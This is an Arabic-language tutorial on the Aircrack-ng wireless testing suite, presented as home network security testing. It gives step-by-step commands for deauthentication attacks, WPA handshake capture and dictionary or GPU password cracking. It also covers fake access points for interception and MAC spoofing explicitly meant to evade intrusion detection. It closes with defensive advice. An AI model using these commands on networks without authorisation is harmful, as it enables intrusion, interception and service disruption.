Aircrack-ng

الدليل الشامل لأداة Aircrack-ng

حزمة أدوات مفتوحة المصدر لاختبار أمان الشبكات اللاسلكية

من إعداد: **أ. عبد الصمد بوركيبات**

باحث في فقه الأمن السيبراني الأسري، ومتخصص في الأمن السيبراني

اختبار الأمان

تحليل الحزم

كسر التشفير

جدول المحتويات

مقدمة عن Aircrack-ng

التعريف

Aircrack-ng هي **حزمة أدوات مفتوحة المصدر** لاختبار أمان الشبكات اللاسلكية، عبر التقاط وتحليل الحزم، وكسر كلمات المرور لتشفيرات WEP وWPA/WPA2.

اختبار الأمان

فحص نقاط الضعف في الشبكات اللاسلكية

تحليل الحزم

التقاط وفحص البيانات المرسلة عبر الشبكة

كسر التشفير

اختبار قوة كلمات المرور المستخدمة

الغرض الأساسي من Aircrack-ng

التأكد من **قوة وأمان** الشبكات المملوكة لك أو المصرح لك بفحصها

فحص الشبكات المملوكة

اختبار أمان شبكتك المنزلية أو الخاصة

الاستخدام المصرح به

التطبيق فقط على الشبكات المسموح بفحصها

تقييم نقاط الضعف

اكتشاف الثغرات الأمنية قبل الاستغلال

الفلسفة الأمنية لأداة Aircrack-ng

الفلسفة الأمنية

كما أن **البيت المؤمن** يحتاج إلى أبواب محكمة، فإن **الشبكة المنزلية** تحتاج إلى كلمات مرور قوية وبروتوكولات حماية فعّالة. Aircrack-ng هي أداة لاختبار قوة هذا "القفل".

البيت الآمن

أبواب محكمة، نوافذ مقفلة، أنظمة إنذار

الشبكة الآمنة

كلمات مرور قوية، تشفير متقدم، تحديثات أمنية

مكونات الحزمة: Aircrack-ng Suite

Aircrack-ng Suite

حزمة أدوات متكاملة لاختبار أمان الشبكات اللاسلكية، تتكون من **سبعة أدوات رئيسية** تعمل معاً لتوفير حلول شاملة

airmon-ng

تشغيل/إيقاف وضع المراقبة

airodump-ng

التقاط وتحليل الحزم

aireplay-ng

حقن الحزم وتنفيذ هجمات إعادة الاتصال

مكونات الحزمة: airmon-ng، airodump-ng، aireplay-ng

airmon-ng

تشغيل/إيقاف وضع المراقبة

- تفعيل وضع المراقبة
- تحديد القناة المطلوبة
- إنشاء واجهة مراقبة

airodump-ng

التقاط وتحليل الحزم

- كشف الشبكات المتاحة
- التقاط حزم الشبكة
- تحليل بيانات الشبكة

aireplay-ng

حقن الحزم وتنفيذ هجمات إعادة الاتصال

- هجمات فصل الأجهزة
- حقن الحزم المزيفة
- هجمات إعادة الاتصال

مكونات الحزمة: aircrack-ng، airdecap-ng

aircrack-ng

كسر كلمات المرور

- كسر تشفير WEP
- هجمات القاموس على WPA/WPA2
- استغلال المعالج لتسريع الكسر

```
aircrack-ng file.cap -w wordlist.txt
```

airdecap-ng

فك تشفير الملفات الملتقطة

- فك تشفير حزم WEP/WPA
- استخراج البيانات المشفرة
- تحليل ملفات الالتقاط

```
airdecap-ng -w password capture.cap
```

مكونات الحزمة: airbase-ng، packetforge-ng

airbase-ng

إنشاء نقاط وصول وهمية

- محاكاة نقاط اتصال حقيقية
- اعتراض حركة المرور
- تنفيذ هجمات الوسيط

```
airbase-ng -a FA:KE:AP:MA:CC -e "FakeAP"
                                    wlan0mon
```

packetforge-ng

إنشاء حزم مخصصة

- إنشاء حزم ARP مخصصة
- تصميم حزم للاختبار
- تكامل مع أدوات أخرى

```
packetforge-ng -0 -a AP_MAC -h YOUR_MAC -k
255.255.255.255 -l 255.255.255.255 -y file.xor -
                                    w arp-request
```

أنظمة التشغيل المدعومة

التوافق مع أنظمة التشغيل

Aircrack-ng متوافق مع **مجموعة متنوعة** من أنظمة التشغيل، مما يجعله أداة مرنة لاختبار أمان الشبكات اللاسلكية في بيئات مختلفة

Linux

الأفضل، مثل Kali Linux وParrot OS

Windows

متوافق مع الإصدارات الحديثة

macOS

متاح لأجهزة ماك

FreeBSDg OpenBSD

دعم لأنظمة BSD

أنظمة التشغيل المدعومة: Linux

Linux: المنصة المثلى

يعتبر **Linux** الخيار الأفضل لتشغيل Aircrack-ng، حيث يوفر دعماً كاملاً لجميع ميزات الأداة وأدائها الأمثل

Kali Linux

- تثبيت مسبق للأداة
- مصمم لاختبار الاختراق
- دعم كامل لأجهزة الواي فاي

Parrot OS

- خفيف وسريع
- متخصص في الأمن السيبراني
- واجهة سهلة الاستخدام

أنظمة التشغيل المدعومة: Windows، macOS، OpenBSD، FreeBSD

أنظمة تشغيل إضافية

بالإضافة إلى Linux، تدعم Aircrack-ng **مجموعة متنوعة** من أنظمة التشغيل الأخرى، مما يوفر مرونة في الاستخدام

Windows

- متوافق مع الإصدارات الحديثة
- يتطلب برامج تشغيل خاصة
- واجهة رسومية متاحة

macOS

- متاح لأجهزة ماك
- يمكن التثبيت عبر Homebrew
- دعم محدود لأجهزة الواي فاي

OpenBSD

- تركيز على الأمان
- تثبيت عبر الحزم
- متوافق مع معظم الميزات

FreeBSD

- متاح في مستودعات الحزم
- أداء جيد مع الخوادم
- دعم كامل للميزات الأساسية

خطوات العمل النموذجية: مقدمة

سير العمل النموذجي

استخدام Aircrack-ng يتبع **خمس مراحل أساسية** لاختبار أمان الشبكات اللاسلكية وكسر تشفيرها

1. تفعيل المراقبة
2. التقاط الحزم
3. استهداف الشبكة
4. تسريع الالتقاط
5. كسر كلمة المرور

المرحلة 1 - تفعيل وضع المراقبة

1 تفعيل وضع المراقبة

الخطوة الأولى هي **تفعيل وضع المراقبة** على بطاقة الشبكة اللاسلكية، مما يسمح لها بالاستماع لجميع حزم الشبكة في الهواء

الأمر المطلوب

```
airmon-ng start wlan0
```

النتيجة المتوقعة

- إنشاء واجهة مراقبة جديدة
- الواجهة الجديدة ستكون **wlan0mon**
- القدرة على رؤية جميع الشبكات المحيطة
- إيقاف العمليات التي قد تعيق المراقبة

المرحلة 2 - التقاط الحزم

2 التقاط الحزم

بعد تفعيل وضع المراقبة، نبدأ بـ **التقاط الحزم** من جميع الشبكات اللاسلكية المحيطة لتحليلها لاحقاً

الأمر المطلوب

```
airodump-ng wlan0mon
```

النتيجة المتوقعة

- عرض جميع **الشبكات المتاحة** في النطاق
- كشف الأجهزة المتصلة بكل شبكة
- تحديد نوع التشفير المستخدم
- عرض قوة إشارة كل شبكة

المرحلة 3 - استهداف شبكة محددة

3 استهداف شبكة محددة

بعد تحديد الشبكة المستهدفة، نقوم بـ **تركيز الالتقاط** على شبكة معينة عبر تحديد القناة وعنوان MAC الخاص بها

الأمر المطلوب

```
airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon
```

النتيجة المتوقعة

- الالتقاط **مركز على شبكة واحدة** فقط
- حفظ البيانات في ملفات تبدأ بـ "capture"
- العمل على القناة المحددة (6) فقط
- عرض الأجهزة المتصلة بالشبكة المستهدفة

المرحلة 4 - تسريع التقاط الحزم

4 تسريع التقاط الحزم

لتسريع عملية التقاط الحزم الهامة، نقوم بتنفيذ **هجوم فصل** لإجبار الأجهزة على إعادة الاتصال بالشبكة، مما يولد حزم Handshake

الأمر المطلوب

```
aireplay-ng --deauth 10 -a
XX:XX:XX:XX:XX:XX wlan0mon
```

النتيجة المتوقعة

- **فصل الأجهزة** عن نقطة الوصول
- إعادة الاتصال التلقائي بالشبكة
- التقاط حزم المصافحة (Handshake)
- تسريع عملية جمع البيانات اللازمة

المرحلة 5 - كسر كلمة المرور

5 كسر كلمة المرور

بعد التقاط حزم Handshake، نستخدم **هجوم القاموس** لمحاولة كسر كلمة مرور الشبكة المستهدفة

الأمر المطلوب

```
aircrack-ng capture-01.cap
  -w /path/to/wordlist.txt
```

النتيجة المتوقعة

- **فحص جميع الكلمات** في قائمة الكلمات
- عرض كلمة المرور عند العثور عليها
- إظهار سرعة الكسر (مفتاح/ثانية)
- عرض الوقت المتبقي للانتهاء

أنواع التشفير المدعومة: مقدمة

تشفير الشبكات اللاسلكية

تدعم Aircrack-ng **ثلاثة أنواع رئيسية** من تشفير الشبكات اللاسلكية، مع اختلاف في مستوى الأمان وطريقة الكسر

WEP

ضعيف ويمكن كسره بسهولة

WPA/WPA2-PSK

يحتاج هجمات brute-force أو قاموس كلمات

WPA/WPA2-Enterprise

أعقد ويتطلب إعدادات خاصة

أنواع التشفير المدعومة: WEP

تشفير WEP

Wired Equivalent Privacy (WEP) هو بروتوكول تشفير قديم للشبكات اللاسلكية، يعتبر **ضعيفاً جداً** ويمكن كسره بسهولة باستخدام Aircrack-ng

يمكن كسر كلمة مرور WEP في دقائق قليلة

نقاط الضعف الرئيسية

إعادة استخدام IV

ناقل التهيئة يتكرر بشكل متكرر

مفتاح ثابت

نفس المفتاح يستخدم لجميع الحزم

خوارزمية RC4 ضعيفة

ثغرات في خوارزمية التشفير

عدم التحقق من التكامل

سهولة تزوير الحزم

أنواع التشفير المدعومة: WPA/WPA2-PSK

تشفير WPA/WPA2-PSK

Wi-Fi Protected Access (WPA) و WPA2 مع مفتاح مشترك مسبقاً (PSK) يوفر أماناً أفضل من WEP، لكنه لا يزال **عرضة للهجمات** باستخدام قوائم الكلمات أو هجمات القوة الغاشمة

يتطلب التقاط حزم Handshake للهجوم

طرق الهجوم الممكنة

هجوم القاموس

استخدام قوائم كلمات مرور شائعة

القوة الغاشمة

تجربة كل المجموعات الممكنة

هجوم Handshake

استغلال عملية المصافحة الأولية

تسريع GPU

استخدام قوة معالجة الرسومات

أنواع التشفير المدعومة: WPA/WPA2-Enterprise

تشفير WPA/WPA2-Enterprise

WPA/WPA2-Enterprise هو بروتوكول تشفير متقدم يستخدم في الشركات والمؤسسات، يوفر **أماناً أعلى** من PSK ولكنه يتطلب إعدادات خاصة وخادم مصادقة

يتطلب خادم RADIUS للمصادقة

مميزات الأمان

مصادقة لكل مستخدم

كل مستخدم له بيانات اعتماد خاصة

تغيير المفتاح ديناميكي

مفاتيح تشفير تتغير بشكل مستمر

إدارة مركزية

التحكم في صلاحيات المستخدمين

سجل الاتصالات

تتبع نشاط المستخدمين

الأوامر الكاملة لكل أداة: مقدمة

الأوامر الأساسية

تحتوي حزمة Aircrack-ng على **سبع أدوات رئيسية**، كل أداة لها مجموعة من الأوامر والخيارات للتحكم في وظائفها

airmon-ng

تفعيل وضع المراقبة

airodump-ng

التقاط وتحليل الحزم

aireplay-ng

حقن الحزم وهجمات إعادة الاتصال

aircrack-ng

كسر كلمات المرور

airdecap-ng

فك تشفير الملفات الملتقطة

airbase-ng

إنشاء نقاط وصول وهمية

packetforge-ng

إنشاء حزم مخصصة

الأوامر الكاملة لكل أداة: A. airmon-ng

airmon-ng

أداة لـ **تفعيل وإيقاف** وضع المراقبة على بطاقات الشبكة اللاسلكية، مما يسمح لها بالاستماع لجميع حزم الشبكة في الهواء

الأوامر الأساسية

▶ بدء وضع المراقبة

```
airmon-ng start wlan0
```

يُنشئ واجهة مراقبة جديدة مثل wlan0mon

■ إيقاف وضع المراقبة

```
airmon-ng stop wlan0mon
```

يعيد الواجهة إلى وضعها الطبيعي

تشغيل على قناة معينة

```
airmon-ng start wlan0 6
```

يحدد القناة المراد العمل عليها (مثال: القناة 6)

سر احترافي: تأكد من إيقاف NetworkManager قبل تفعيل وضع المراقبة

B. airodump-ng :الأوامر الكاملة لكل أداة

airodump-ng

أداة لـ **التقاط وتحليل** حزم الشبكات اللاسلكية، تسمح بكشف الشبكات المتاحة وجمع البيانات اللازمة لتحليلها

الأوامر الأساسية

عرض الشبكات

```
airodump-ng wlan0mon
```

يعرض جميع الشبكات المتاحة في النطاق

تحديد القناة

```
airodump-ng -c 11 wlan0mon
```

يحدد القناة المراد المراقبة (مثال: القناة 11)

فلترة أجهزة

```
airodump-ng --bssid MAC --
station MAC wlan0mon
```

يركز على شبكة وجهاز محددين عبر عناوين MAC

سر احترافي: استخدم خيار -w لحفظ البيانات في ملفات لتحليلها لاحقاً

الأوامر الكاملة لكل أداة: B. airodump-ng - فلترة الأجهزة

فلترة الأجهزة

يمكن لـ airodump-ng **فلترة البيانات** الملتقطة للتركيز على شبكات وأجهزة محددة، مما يزيد من كفاءة عملية التحليل

أوامر الفلترة المتقدمة

فلترة شبكة محددة

```
airodump-ng --bssid XX:XX:XX:XX:XX:XX wlan0mon
```

يركز على شبكة واحدة فقط عبر عنوان MAC الخاص بها

فلترة جهاز محدد

```
airodump-ng --station XX:XX:XX:XX:XX:XX wlan0mon
```

يراقب حركة جهاز محدد عبر عنوان MAC الخاص به

حفظ البيانات المفلترة

```
airodump-ng --bssid MAC -w capture wlan0mon
```

يحفظ بيانات الشبكة المحددة في ملفات تبدأ بـ "capture"

سر احترافي: يمكنك دمج عدة خيارات فلترة لتحديد دقة أعلى في المراقبة

الأوامر الكاملة لكل أداة: C. aireplay-ng - هجوم فصل الأجهزة

aireplay-ng

أداة لـ **حقن الحزم** وتنفيذ هجمات إعادة الاتصال، تستخدم لفصل الأجهزة عن الشبكة وإجبارها على إعادة المصافحة

هجوم فصل الأجهزة

هجوم فصل الأجهزة

```
aireplay-ng --deauth 10 -a XX:XX:XX:XX:XX:XX wlan0mon
```

يرسل 10 حزم فصل لإجبار الأجهزة على إعادة الاتصال

فصل جهاز محدد

```
aireplay-ng --deauth 5 -a AP_MAC -c CLIENT_MAC wlan0mon
```

يرسل 5 حزم فصل لجهاز محدد فقط

هجوم مستمر

```
aireplay-ng --deauth 0 -a XX:XX:XX:XX:XX:XX wlan0mon
```

يرسل حزم فصل بشكل مستمر (0 = غير محدود)

سر احترافي: استخدم هذا الهجوم مع airodump-ng لالتقاط handshake بسرعة

الأوامر الكاملة لكل أداة: C. aireplay-ng - هجوم Fake Authentication و ARP Replay

هجمات متقدمة

يمكن لـ aireplay-ng تنفيذ **هجمات متقدمة** مثل المصادقة المزيفة وإعادة بث حزم ARP لتسريع جمع البيانات

أوامر الهجمات المتقدمة

هجوم Fake Authentication

```
aireplay-ng --fakeauth 0 -a AP_MAC -h YOUR_MAC wlan0mon
```

يصادق بشكل مزيف على الشبكة (0 = غير محدود)

هجوم ARP Replay (WEP)

```
aireplay-ng -3 -b AP_MAC -h YOUR_MAC wlan0mon
```

يعيد بث حزم ARP لجمع IVs بشكل أسرع

هجوم Interactive Packet Selection

```
aireplay-ng -2 -b AP_MAC -c FF:FF:FF:FF:FF:FF -p 0841 -h YOUR_MAC wlan0mon
```

يحقن حزم مخصصة لزيادة حركة البيانات

سر احترافي: هجوم ARP Replay فعال بشكل خاص مع شبكات WEP لجمع IVs بسرعة

الأوامر الكاملة لكل أداة: D. aircrack-ng - كسر كلمات المرور

aircrack-ng

الأداة الرئيسية لـ **كسر كلمات المرور**، تستخدم هجمات القاموس والقوة الغاشمة لاستعادة كلمات مرور الشبكات اللاسلكية

أوامر كسر كلمات المرور

كسر كلمة المرور

```
aircrack-ng file.cap -w wordlist.txt
```

يستخدم قائمة كلمات لكسر كلمة مرور الشبكة

تسريع الكسر بالمعالج

```
aircrack-ng -u file.cap -w wordlist.txt
```

يستخدم معالج متعدد النوى لتسريع عملية الكسر

استهداف شبكة محددة

```
aircrack-ng -b XX:XX:XX:XX:XX:XX file.cap -w wordlist.txt
```

يركز على شبكة محددة عبر عنوان MAC

سر احترافي: يمكنك استخدام خيار -J لإنشاء ملف Hashcat وتسريع الكسر باستخدام GPU

الأوامر الكاملة لكل أداة: D. aircrack-ng - تسريع الكسر باستخدام المعالج

تسريع الكسر

يمكن لـ aircrack-ng **الاستفادة من قوة المعالج** لتسريع عملية كسر كلمات المرور عبر استخدام عدة نوى أو معالجات متعددة

أوامر تسريع الكسر

استخدام المعالج متعدد النوى

```
aircrack-ng -u file.cap -w wordlist.txt
```

يستخدم جميع أنوية المعالج المتاحة لتسريع الكسر

تحديد عدد النوى

```
aircrack-ng -p 4 file.cap -w wordlist.txt
```

يحدد عدد النوى المستخدمة (مثال: 4 نوى)

إنشاء ملف Hashcat

```
aircrack-ng -J hashfile file.cap
```

يحول ملف الالتقاط إلى صيغة متوافقة مع Hashcat

سر احترافي: يمكنك دمج Aircrack-ng مع Hashcat للاستفادة من قوة معالجة الرسومات (GPU)

الأوامر الكاملة لكل أداة: E. airdecap-ng - فك التشفير

airdecap-ng

أداة لـ **فك تشفير** الملفات الملتقطة، تستخدم لاستخراج البيانات المشفرة من حزم الشبكات اللاسلكية بعد معرفة كلمة المرور

أوامر فك التشفير

فك تشفير WEP/WPA

```
airdecap-ng -w password capture.cap
```

يفك تشفير الملف الملتقط باستخدام كلمة المرور المعروفة

فلترة شبكة محددة

```
airdecap-ng -b XX:XX:XX:XX:XX:XX -w password capture.cap
```

يركز على شبكة محددة عبر عنوان MAC الخاص بها

حفظ الملفات المفكوكة

```
airdecap-ng -w password -o output capture.cap
```

يحفظ الملفات المفكوكة في مجلد محدد

سر احترافي: يمكنك استخدام خيار -e لتحديد ESSID بدلاً من عنوان MAC

الأوامر الكاملة لكل أداة: F. airbase-ng - إنشاء نقاط وصول وهمية

airbase-ng

أداة لـ **إنشاء نقاط وصول وهمية**، تستخدم لمحاكاة نقاط اتصال حقيقية واعتراض حركة المرور بين الأجهزة ونقاط الوصول

أوامر إنشاء نقاط الوصول الوهمية

إنشاء نقطة وصول وهمية

```
airbase-ng -a FA:KE:AP:MA:CC
-e "FakeAP" wlan0mon
```

ينشئ نقطة وصول وهمية باسم "FakeAP" وعنوان MAC محدد

تحديد القناة

```
airbase-ng -a FA:KE:AP:MA:CC
-e "FakeAP" -c 6 wlan0mon
```

يحدد القناة التي ستعمل عليها نقطة الوصول الوهمية

تفعيل WPA2

```
airbase-ng -a FA:KE:AP:MA:CC
-e "FakeAP" -W 2 -P wlan0mon
```

ينشئ نقطة وصول وهمية مع تشفير WPA2

سر احترافي: يمكنك استخدام airbase-ng مع أداة ettercap لتنفيذ هجمات الوسيط (Man-in-the-Middle)

الأوامر الكاملة لكل أداة: G. packetforge-ng - إنشاء حزم ARP

packetforge-ng

أداة لـ **إنشاء حزم مخصصة**، تستخدم لتصميم حزم ARP وغيرها للاستخدام مع أدوات Aircrack-ng الأخرى

أوامر إنشاء الحزم

إنشاء حزم ARP

```
packetforge-ng -0 -a AP_MAC -h YOUR_MAC -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w arp-request
```

ينشئ حزمة ARP مخصصة للهجوم على شبكات WEP

إنشاء حزم UDP

```
packetforge-ng -1 -a AP_MAC -h YOUR_MAC -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w udp-packet
```

ينشئ حزمة UDP مخصصة لزيادة حركة البيانات

إنشاء حزم SYN

```
packetforge-ng -2 -a AP_MAC -h YOUR_MAC -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w syn-packet
```

ينشئ حزمة TCP SYN مخصصة

سر احترافي: يمكنك استخدام الحزم المنشأة مع aireplay-ng لتنفيذ هجمات حقن الحزم

الأوامر الكاملة لكل أداة: G. packetforge-ng - إنشاء حزم مخصصة

حزم مخصصة متقدمة

يمكن لـ packetforge-ng إنشاء **أنواع مختلفة** من الحزم المخصصة للاستخدام في سيناريوهات اختبار الأمان المختلفة

أوامر الحزم المتقدمة

إنشاء حزم UDP مخصصة

```
packetforge-ng -1 -a AP_MAC -h YOUR_MAC -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w udp-packet
```

ينشئ حزمة UDP مخصصة لزيادة حركة البيانات

إنشاء حزم TCP SYN

```
packetforge-ng -2 -a AP_MAC -h YOUR_MAC -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w syn-packet
```

ينشئ حزمة TCP SYN مخصصة لمحاكاة اتصال

إنشاء حزم من قالب

```
packetforge-ng -9 -r template.cap -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w custom-packet
```

ينشئ حزمة مخصصة بناءً على قالب موجود

سر احترافي: استخدم خيار -p لتحديد منفذ المصدر والوجهة في الحزم المخصصة

سيناريو عملي لاختبار شبكة المنزل: مقدمة

اختبار أمان الشبكة المنزلية

سنستعرض **سيناريو عملي** لاختبار أمان شبكة منزلية باستخدام Aircrack-ng، مع تطبيق الخطوات الأساسية لتقييم قوة كلمة المرور

1. تفعيل المراقبة
2. التقاط الحزم
3. تحديد الشبكة
4. فصل الأجهزة
5. كسر كلمة المرور

سيناريو عملي لاختبار شبكة المنزل: تشغيل وضع المراقبة والتقاط الحزم

1 تشغيل وضع المراقبة

الخطوة الأولى هي **تفعيل وضع المراقبة** على بطاقة الشبكة اللاسلكية، مما يسمح لها بالاستماع لجميع حزم الشبكة في الهواء

الأمر المطلوب

```
airmon-ng start wlan0
```

2 التقاط الحزم

بعد تفعيل وضع المراقبة، نبدأ بـ **التقاط الحزم** من جميع الشبكات اللاسلكية المحيطة لتحليلها لاحقاً

الأمر المطلوب

```
airodump-ng wlan0mon
```

نصائح مهمة

- تأكد من **إيقاف NetworkManager** قبل تفعيل وضع المراقبة
- استخدم **بطاقة شبكة متوافقة** مع وضع المراقبة
- سجل **عناوين MAC** للشبكات المستهدفة لاستخدامها لاحقاً

سيناريو عملي لاختبار شبكة المنزل: تحديد القناة والشبكة وتنفيذ هجوم فصل

3 تحديد القناة والشبكة

بعد تحديد الشبكة المستهدفة، نقوم بـ **تركيز الالتقاط** على شبكة معينة عبر تحديد القناة وعنوان MAC الخاص بها

الأمر المطلوب

```
airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon
```

4 تنفيذ هجوم فصل

لتسريع عملية التقاط الحزم الهامة، نقوم بتنفيذ **هجوم فصل** لإجبار الأجهزة على إعادة الاتصال بالشبكة

الأمر المطلوب

```
aireplay-ng --deauth 10 -a XX:XX:XX:XX:XX:XX wlan0mon
```

نصائح مهمة

- استخدم **القناة الصحيحة** لضمان التقاط أفضل للحزم
- حفظ البيانات في ملفات باستخدام **خيار -w** للتحليل لاحقاً
- هجوم الفصل يساعد في **التقاط Handshake** بسرعة أكبر

سيناريو عملي لاختبار شبكة المنزل: التقاط الـ handshake

4.5 التقاط Handshake

بعد تنفيذ هجوم الفصل، نراقب عملية **إعادة الاتصال** للأجهزة بالشبكة، مما يسمح لنا بالتقاط حزم المصافحة (Handshake) اللازمة لكسر كلمة المرور

المراقبة المستمرة

```
airodump-ng -c 6 --bssid
XX:XX:XX:XX:XX:XX -w
capture wlan0mon
```

مؤشرات النجاح

- ظهور رسالة **WPA handshake** في نافذة airodump-ng
- حفظ Handshake في ملف **capture-01.cap**
- إعادة محاولة هجوم الفصل إذا لم يتم التقاط Handshake
- الانتظار حتى يعيد جهاز على الأقل الاتصال بالشبكة

سيناريو عملي لاختبار شبكة المنزل: كسر كلمة المرور بالقاموس

5 كسر كلمة المرور بالقاموس

بعد التقاط حزم Handshake، نستخدم **هجوم القاموس** لمحاولة كسر كلمة مرور الشبكة المستهدفة

الأمر المطلوب

```
aircrack-ng capture-01.cap
  -w /path/to/wordlist.txt
```

مؤشرات النجاح

- عرض **سرعة الكسر** (مفتاح/ثانية)
- إظهار **الوقت المتبقي** لانتهاء القاموس
- ظهور رسالة **KEY FOUND** عند العثور على كلمة المرور
- استخدام قوائم كلمات **متخصصة** لزيادة فرص النجاح

الأسرار والخواص الاحترافية: مقدمة

الأسرار الاحترافية

هناك **حيل وأسرار** احترافية لاستخدام Aircrack-ng بفعالية أكبر، وتحسين نتائج اختبار أمان الشبكات اللاسلكية

التركيز على قناة محددة

تسريع الالتقاط عبر تحديد القناة المستهدفة بدقة

إيقاف NetworkManager

منع التداخل مع عمليات المراقبة والالتقاط

دمج مع Hashcat

استغلال قوة معالجة الرسومات (GPU) لتسريع الكسر

تغيير MAC

إخفاء هوية الجهاز قبل الاختبارات

الأسرار والخواص الاحترافية: التركيز على قناة محددة وإيقاف NetworkManager

التركيز على قناة محددة

لتسريع عملية التقاط الحزم، من المهم **تحديد القناة** المستهدفة بدقة والعمل عليها فقط

الأوامر المطلوبة

```
airmon-ng start wlan0 6
airodump-ng -c 6 --bssid
XX:XX:XX:XX:XX:XX -w
capture wlan0mon
```

إيقاف NetworkManager

قبل بدء عملية المراقبة، يجب **إيقاف NetworkManager** لمنع التداخل مع عمليات الالتقاط

الأوامر المطلوبة

```
systemctl stop
NetworkManager
airmon-ng check kill
```

الفوائد المحققة

- **تسريع الالتقاط** بنسبة تصل إلى 70%
- **دقة أعلى** في البيانات الملتقطة
- **توفير الطاقة** واستهلاك أقل للموارد

الأسرار والخواص الاحترافية: دمج Aircrack-ng مع Hashcat لاستغلال قوة GPU

دمج Aircrack-ng مع Hashcat

يمكن دمج Aircrack-ng مع Hashcat لـ **استغلال قوة GPU** في كسر كلمات المرور، مما يزيد سرعة الكسر بشكل كبير

الأوامر المطلوبة

```
aircrack-ng -J hashfile capture.cap
hashcat -m 2500 hashfile.hccapx wordlist.txt
```

مزايا استخدام GPU

تسريع هائل يصل إلى 100x مقارنة بالمعالج

دعم متعدد لبطاقات الرسومات المختلفة

خيارات متقدمة للتحكم في عملية الكسر

الأسرار والخواص الاحترافية: تغيير MAC قبل الاختبارات

تغيير عنوان MAC

قبل بدء الاختبارات، من المهم **إخفاء هوية الجهاز** عبر تغيير عنوان MAC لتجنب التعرف عليه

الأوامر المطلوبة

```
macchanger -r wlan0mon
ifconfig wlan0mon down
macchanger -m 00:11:22:33:44:55 wlan0mon
ifconfig wlan0mon up
```

فوائد تغيير MAC

- **إخفاء الهوية** ومنع التعرف على الجهاز
- **تجنب الرقابة** من أنظمة كشف التطفل
- **تجنب الحظر** من نقاط الوصول المحمية

توصيات أسرية وأمنية: مقدمة

توصيات أمنية للشبكات المنزلية

بعد تعلم كيفية اختبار أمان الشبكات، من المهم معرفة **كيفية حمايتها** بشكل فعال لضمان أمان البيانات الأسرية

استخدام WPA2/WPA3

تجنب استخدام WEP واستخدم بروتوكولات تشفير حديثة

كلمات مرور قوية

استخدم كلمات مرور طويلة ومعقدة تجمع بين أحرف وأرقام ورموز

عدم مشاركة كلمة المرور

لا تشارك كلمة المرور خارج نطاق الأسرة الموثوقة

تدريب الأبناء

علم أبناءك مخاطر الشبكات المفتوحة وأهمية الأمن السيبراني

توصيات أسرية وأمنية: استخدام WPA2/WPA3 بدل WEP وكلمات مرور طويلة ومعقدة

استخدام WPA2/WPA3 بدل WEP

بروتوكولات التشفير **الحديثة** توفر حماية أفضل للشبكة المنزلية مقارنة بالبروتوكولات القديمة الضعيفة

نصائح مهمة

- تجنب تماماً استخدام WEP
- استخدم WPA2 كحد أدنى
- تفضل WPA3 إذا كان مدعوماً
- حدث جهاز الراوتر بانتظام

*** كلمات مرور طويلة ومعقدة

كلمة المرور **القوية** هي خط الدفاع الأول والأهم لحماية شبكتك المنزلية من الاختراق

نصائح مهمة

- استخدم 12 حرفاً على الأقل
- اجمع بين أحرف كبيرة وصغيرة
- أضف أرقاماً ورموزاً خاصة
- تجنب الكلمات الشائعة والتواريخ

مقارنة بين بروتوكولات التشفير

WEP: ضعيف جداً ويمكن كسره في دقائق

WPA: أفضل من WEP لكن لا يزال به ثغرات

WPA2: آمن نسبياً مع كلمة مرور قوية

WPA3: الأحدث والأكثر أماناً

توصيات أسرية وأمنية: عدم مشاركة كلمة المرور خارج نطاق الأسرة

سرية كلمة المرور

يجب **الحفاظ على سرية** كلمة مرور الشبكة وعدم مشاركتها خارج نطاق الأسرة الموثوقة

نصائح للمشاركة الآمنة

- أنشئ شبكة ضيوف منفصلة للزوار
- استخدم رمز QR للمشاركة بدلاً من النطق
- غير كلمة المرور بشكل دوري
- استخدم إدارة الوصول للتحكم في الأجهزة

مخاطر مشاركة كلمة المرور

وصول غير مصرح به إلى شبكتك المنزلية

اختراق الأجهزة المتصلة بالشبكة

مراقبة النشاط وسرقة البيانات

استغلال الشبكة لأنشطة غير قانونية

توصيات أسرية وأمنية: تدريب الأبناء على مخاطر الشبكات المفتوحة

تدريب الأبناء

من المهم **تعليم الأبناء** مبادئ الأمن السيبراني ومخاطر الشبكات المفتوحة منذ سن مبكرة

نصائح للتعليم الفعال

- استخدم لغة بسيطة ومناسبة للعمر
- استخدم أمثلة واقعية وقصص
- علمهم كيفية التعرف على الشبكات الآمنة
- شجعهم على طرح الأسئلة

مخاطر الشبكات المفتوحة

- **التنصت** على البيانات الشخصية
- **التصيد** وسرقة المعلومات
- **اختراق الأجهزة** وسرقة الملفات
- **التتبع** ومراقبة النشاط

الخلاصة: تلخيص النقاط الرئيسية في العرض

النقاط الرئيسية

تعرفنا على **أداة Aircrack-ng** الشاملة لاختبار أمان الشبكات اللاسلكية، واستعرضنا مكوناتها وأوامرها وكيفية استخدامها بشكل احترافي

مكونات الحزمة

سبع أدوات متكاملة لاختبار أمان الشبكات اللاسلكية

خطوات العمل

من تفعيل المراقبة إلى كسر كلمات المرور

الأوامر الكاملة

تعلمت كيفية استخدام كل أداة بشكل صحيح

الأسرار الاحترافية

حيل لتحسين الأداء وسرعة الاختبار

توصيات أمنية

كيفية حماية شبكتك من الاختراق

سيناريو عملي

تطبيق عملي لاختبار شبكة منزلية